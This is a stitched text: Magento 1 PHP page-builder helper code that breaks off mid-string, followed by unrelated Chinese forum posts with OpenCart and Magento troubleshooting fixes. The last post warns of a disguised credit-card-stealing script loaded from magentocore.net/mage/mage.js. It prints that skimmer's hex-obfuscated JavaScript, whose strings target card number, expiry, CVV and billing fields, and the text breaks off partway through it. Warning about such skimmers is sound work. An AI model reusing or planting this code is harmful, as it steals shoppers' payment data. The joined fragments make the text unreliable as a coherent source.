return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_right')->setBlockName('block_cms_right')->setTemplate('mgs/mpanel/template/admin/cms_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_right')->setBlockName('block_cms_right')->setTemplate('mgs/mpanel/template/cms_right.phtml')->toHtml();
}
}

//Return content of a cms left if use builder panel
public function getLayoutConfigCmsLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_left')->setBlockName('block_cms_left')->setTemplate('mgs/mpanel/template/admin/cms_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_left')->setBlockName('block_cms_left')->setTemplate('mgs/mpanel/template/cms_left.phtml')->toHtml();
}
}

//Return content of a customer right if use builder panel
public function getLayoutConfigCustomerRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_right')->setBlockName('block_customer_right')->setTemplate('mgs/mpanel/template/admin/customer_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_right')->setBlockName('block_customer_right')->setTemplate('mgs/mpanel/template/customer_right.phtml')->toHtml();
}
}

//Return content of a customer left if use builder panel
public function getLayoutConfigCustomerLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_left')->setBlockName('block_customer_left')->setTemplate('mgs/mpanel/template/admin/customer_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_left')->setBlockName('block_customer_left')->setTemplate('mgs/mpanel/template/customer_left.phtml')->toHtml();
}
}

// Return new position for a child block
public function getNewPositionOfChild($storeId, $blockName, $templateLayout) {
$child = Mage::getModel('mpanel/childs')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('block_name', $blockName)
->addFieldToFilter('home_name', $templateLayout)
->setOrder('position', 'DESC')
->getFirstItem();

if ($child->getId()) {
$position = (int) $child->getPosition() + 1;
} else {
$position = 1;
}

return $position;
}

public function getEditChild($layout, $block, $child, $type) {
$html = '<div class="edit-panel child-panel"><ul>';

$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';

$html .= '<li><a href="' . Mage::getUrl('mpanel/index/form', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';

$html .= '<li class="change-col"><a href="javascript:void(0)" title="' . $this->__('Change column setting') . '"><em class="fa fa-columns"> </em></a><ul>';

for ($i = 1; $i <= 12; $i++) {
$html .= '<li><a href="' . Mage::getUrl('mpanel/edit/col', array('id' => $child, 'col' => $i)) . '" onclick="changeBlockCol(this.href); return false"><span>' . $i . '/12</span></a></li>';
}

$html .= '</ul></li>';

$html .= '<li><a href="' . Mage::getUrl('mpanel/post/delete', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

public function getEditChildInCategory($layout, $block, $child, $type, $category_id, $product_id) {
if ($type == 'core') {
if ($product_id) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('template' => $layout, 'type' => $type, 'block' => $child, 'category_id' => $category_id, 'product_id' => $product_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('template' => $layout, 'type' => $type, 'block' => $child, 'category_id' => $category_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}
} else {
if ($product_id) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCategory', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'category_id' => $category_id, 'product_id' => $product_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('id' => $child, 'category_id' => $category_id, 'product_id' => $product_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCategory', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'category_id' => $category_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('id' => $child, 'category_id' => $category_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}
}

return $html;
}

public function getEditChildInCms($layout, $block, $child, $type, $page_id) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCms', array('template' => $layout, 'type' => $type, 'block' => $child, 'page_id' => $page_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCms', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'page_id' => $page_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCms', array('id' => $child, 'page_id' => $page_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function getEditChildInCustomer($layout, $block, $child, $type) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCustomer', array('template' => $layout, 'type' => $type, 'block' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCustomer', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCustomer', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function getEditChildInCatalogSearch($layout, $block, $child, $type) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCatalogSearch', array('template' => $layout, 'type' => $type, 'block' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCatalogSearch', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCatalogSearch', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function renderHtmlContent($templateLayout, $blockName, $currentCategoryId, $key, $value, $isAdmin, $currentProductId) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'subCategories' => array(
'block' => 'catalog/navigation',
'template' => 'catalog/navigation/left.phtml'
),
'layeredNavigation' => array(
'block' => 'catalog/layer_view',
'template' => 'catalog/layer/view.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
),
'productRelated' => array(
'block' => 'catalog/product_list_related',
'template' => 'catalog/product/list/related.phtml'
),
'menu' => array(
'block' => 'megamenu/vertical',
'template' => 'megamenu/vertical.phtml'
),
'featuredProducts' => array(
'block' => 'mpanel/products',
'template' => 'mgs/mpanel/products/list/featured_products.phtml'
),
'bestsellerProducts' => array(
'block' => 'mpanel/products',
'template' => 'mgs/mpanel/products/list/hot_products.phtml'
),
'newProducts' => array(
'block' => 'mpanel/product_new',
'template' => 'mgs/mpanel/products/list/new_products.phtml'
),
'topRateProducts' => array(
'block' => 'mpanel/product_rate',
'template' => 'mgs/mpanel/products/list/rate_products.phtml'
),
'saleProducts' => array(
'block' => 'mpanel/product_sale',
'template' => 'mgs/mpanel/products/list/sale_products.phtml'
),
'facebookLikeBox' => array(
'block' => 'social/fblikebox',
'template' => 'mgs/social/facebook-like-box.phtml'
),
'twitterFeed' => array(
'block' => 'core/template',
'template' => 'mgs/mpanel/twitter_tweets.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'subCategories') {
if ($this->isCategoryPage()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'layeredNavigation') {
if ($this->isCategoryPage()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'productRelated') {
if ($this->isProductPage()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'poll') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$poll = $this->getLayout()->createBlock($data['block'])
->setPollId($arr[1]);
foreach ($data['poll_template'] as $k => $v) {
$poll->setPollTemplate($v, $k);
}
$html .= $poll->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'menu') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setMenuId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'categoryNavigation') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setSelectedCategoryId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'featuredProducts' || $key == 'bestsellerProducts' || $key == 'newProducts' || $key == 'topRateProducts' || $key == 'saleProducts') {
$arr = explode('=', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setProductsCount($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'facebookLikeBox') {
$arr = explode('|', $value);
if (count($arr)) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setPageId($arr[1])
->setConnection($arr[2])
->setWidth($arr[3])
->setHeight($arr[4])
->setShowHeader($arr[5])
->setShowFace($arr[6])
->setShowStream($arr[7])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'twitterFeed') {
$arr = explode('|', $value);
if (count($arr)) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTitle($arr[0])
->setUser($arr[1])
->setCount($arr[2])
->setTruncate($arr[3])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
if (strpos($key, 'promoBanner') !== false) {
$id = str_replace('promoBanner', '', $key);
$promo = Mage::getModel('promobanners/promobanners')->load($id);
if ($id && $promo->getId()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
} else {
$html .= '<div class="block block-banner">';
}
$html .= $this->getLayout()
->createBlock('promobanners/promobanners')
->setBannerId($id)
->setTemplate('mgs/promobanners/banner.phtml')
->toHtml();
$html .= '</div>';
echo $html;
}
break;
}
}
}
}

public function renderHtmlContentInCms($templateLayout, $blockName, $pageId, $key, $value, $isAdmin) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'poll') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$poll = $this->getLayout()->createBlock($data['block'])
->setPollId($arr[1]);
foreach ($data['poll_template'] as $k => $v) {
$poll->setPollTemplate($v, $k);
}
$html .= $poll->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'categoryNavigation') {
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setSelectedCategoryId($arr[1])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else {
if (strpos($key, 'promoBanner') !== false) {
$id = str_replace('promoBanner', '', $key);
$promo = Mage::getModel('promobanners/promobanners')->load($id);
if ($id && $promo->getId()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCms($templateLayout, $blockName, $key, 'core', $pageId);
} else {
$html .= '<div class="block block-banner">';
}
$html .= $this->getLayout()
->createBlock('promobanners/promobanners')
->setBannerId($id)
->setTemplate('mgs/promobanners/banner.phtml')
->toHtml();
$html .= '</div>';
echo $html;
}
break;
}
}
}
}

public function renderHtmlContentInCustomer($templateLayout, $blockName, $key, $value, $isAdmin) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'poll') { // Block poll
$arr = explode('-', $value);
if (isset($arr[1])) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="

opencart出现Notice:undefined index:route 错误的解决方法

技术分享neasel 发表了文章 • 0 个评论 • 17 次浏览 • 2018-08-27 09:49 • 来自相关话题

2018-8-27 09:48| 发布者: lutish| 查看: 2| 评论: 0|编辑 |删除报错内容:notice:Undefined index:route in ***/catalog/controller/extension/captcha/bas ...查看全部
2018-8-27 09:48| 发布者: lutish| 查看: 2| 评论: 0|编辑 |删除报错内容:
notice:Undefined index:route in ***/catalog/controller/extension/captcha/basic.php on line 12

打开此文件看到12行的内容为:


$data['route'] = $this->request->get['route'];


修改为
$data['route'] = isset($this->request->get['route']) ? $this->request->get['route'] : '';

opencart pander主题开启SSL后TWITTER链接不显示出错。

技术分享neasel 发表了文章 • 0 个评论 • 16 次浏览 • 2018-07-23 08:25 • 来自相关话题

/catalog/view/theme/default/template/extension/module/octwitter.twig 替换此文件或是手动移除其中的全部 {{ base_url }}    


/catalog/view/theme/default/template/extension/module/octwitter.twig


替换此文件或是手动移除其中的全部 {{ base_url }}
 
 

简单火车头采集规则一条

技术分享neasel 发表了文章 • 0 个评论 • 21 次浏览 • 2018-07-21 07:40 • 来自相关话题

采集对象:demo.opencart.com
采集对象:demo.opencart.com

MAGENTO1.X导入扩展出现后台访问直接跳转到前台404的解决方法

技术问答neasel 发表了文章 • 0 个评论 • 20 次浏览 • 2018-06-14 19:10 • 来自相关话题

1.确认文件是否正确完整地上传到空间上 2.app\code\community\CapacityWebSolutions\ImportProduct\Model下的Profile.php文件有的空间会自动删除 您可以手动创建此名称的文 ...查看全部
1.确认文件是否正确完整地上传到空间上
2.app\code\community\CapacityWebSolutions\ImportProduct\Model下的Profile.php文件有的空间会自动删除
您可以手动创建此名称的文件,并填入以下内容


<?php
 class CapacityWebSolutions_ImportProduct_Model_Profile extends Mage_Core_Model_Abstract
{
 
 
}

 


惊现盗取信用卡信息的伪装病毒

IT大杂烩neasel 发表了文章 • 0 个评论 • 16 次浏览 • 2018-03-29 17:57 • 来自相关话题

被植入文件 调用路径https://magentocore.net/mage/mage.js 原内容: var _0x8949=[“\x75\x6E\x64\x65\x66\x69\ ...查看全部
被植入文件

调用路径https://magentocore.net/mage/mage.js

原内容:

var _0x8949=[“\x75\x6E\x64\x65\x66\x69\x6E\x65\x64″,”\x68\x6F\x73\x74\x6E\x61\x6D\x65″,”\x76\x61\x6C”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x73\x69\x7A\x65″,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\x69\x64\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x6C\x61\x73\x74\x6E\x61\x6D\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x69\x74\x79\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65\x5D\x22\x5D”,”\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x65\x6D\x61\x69\x6C\x5D\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x61\x72\x64\x5F\x6E\x75\x6D\x62\x65\x72\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x31\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x45\x78\x70\x5F\x32\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x43\x56\x56\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x66\x69\x72\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x65\x63\x6F\x6E\x64\x5F\x6E\x61\x6D\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x61\x64\x64\x72\x65\x73\x73\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x63\x69\x74\x79\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x6D\x5F\x73\x74\x61\x74\x65\x22\x5D”,”\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73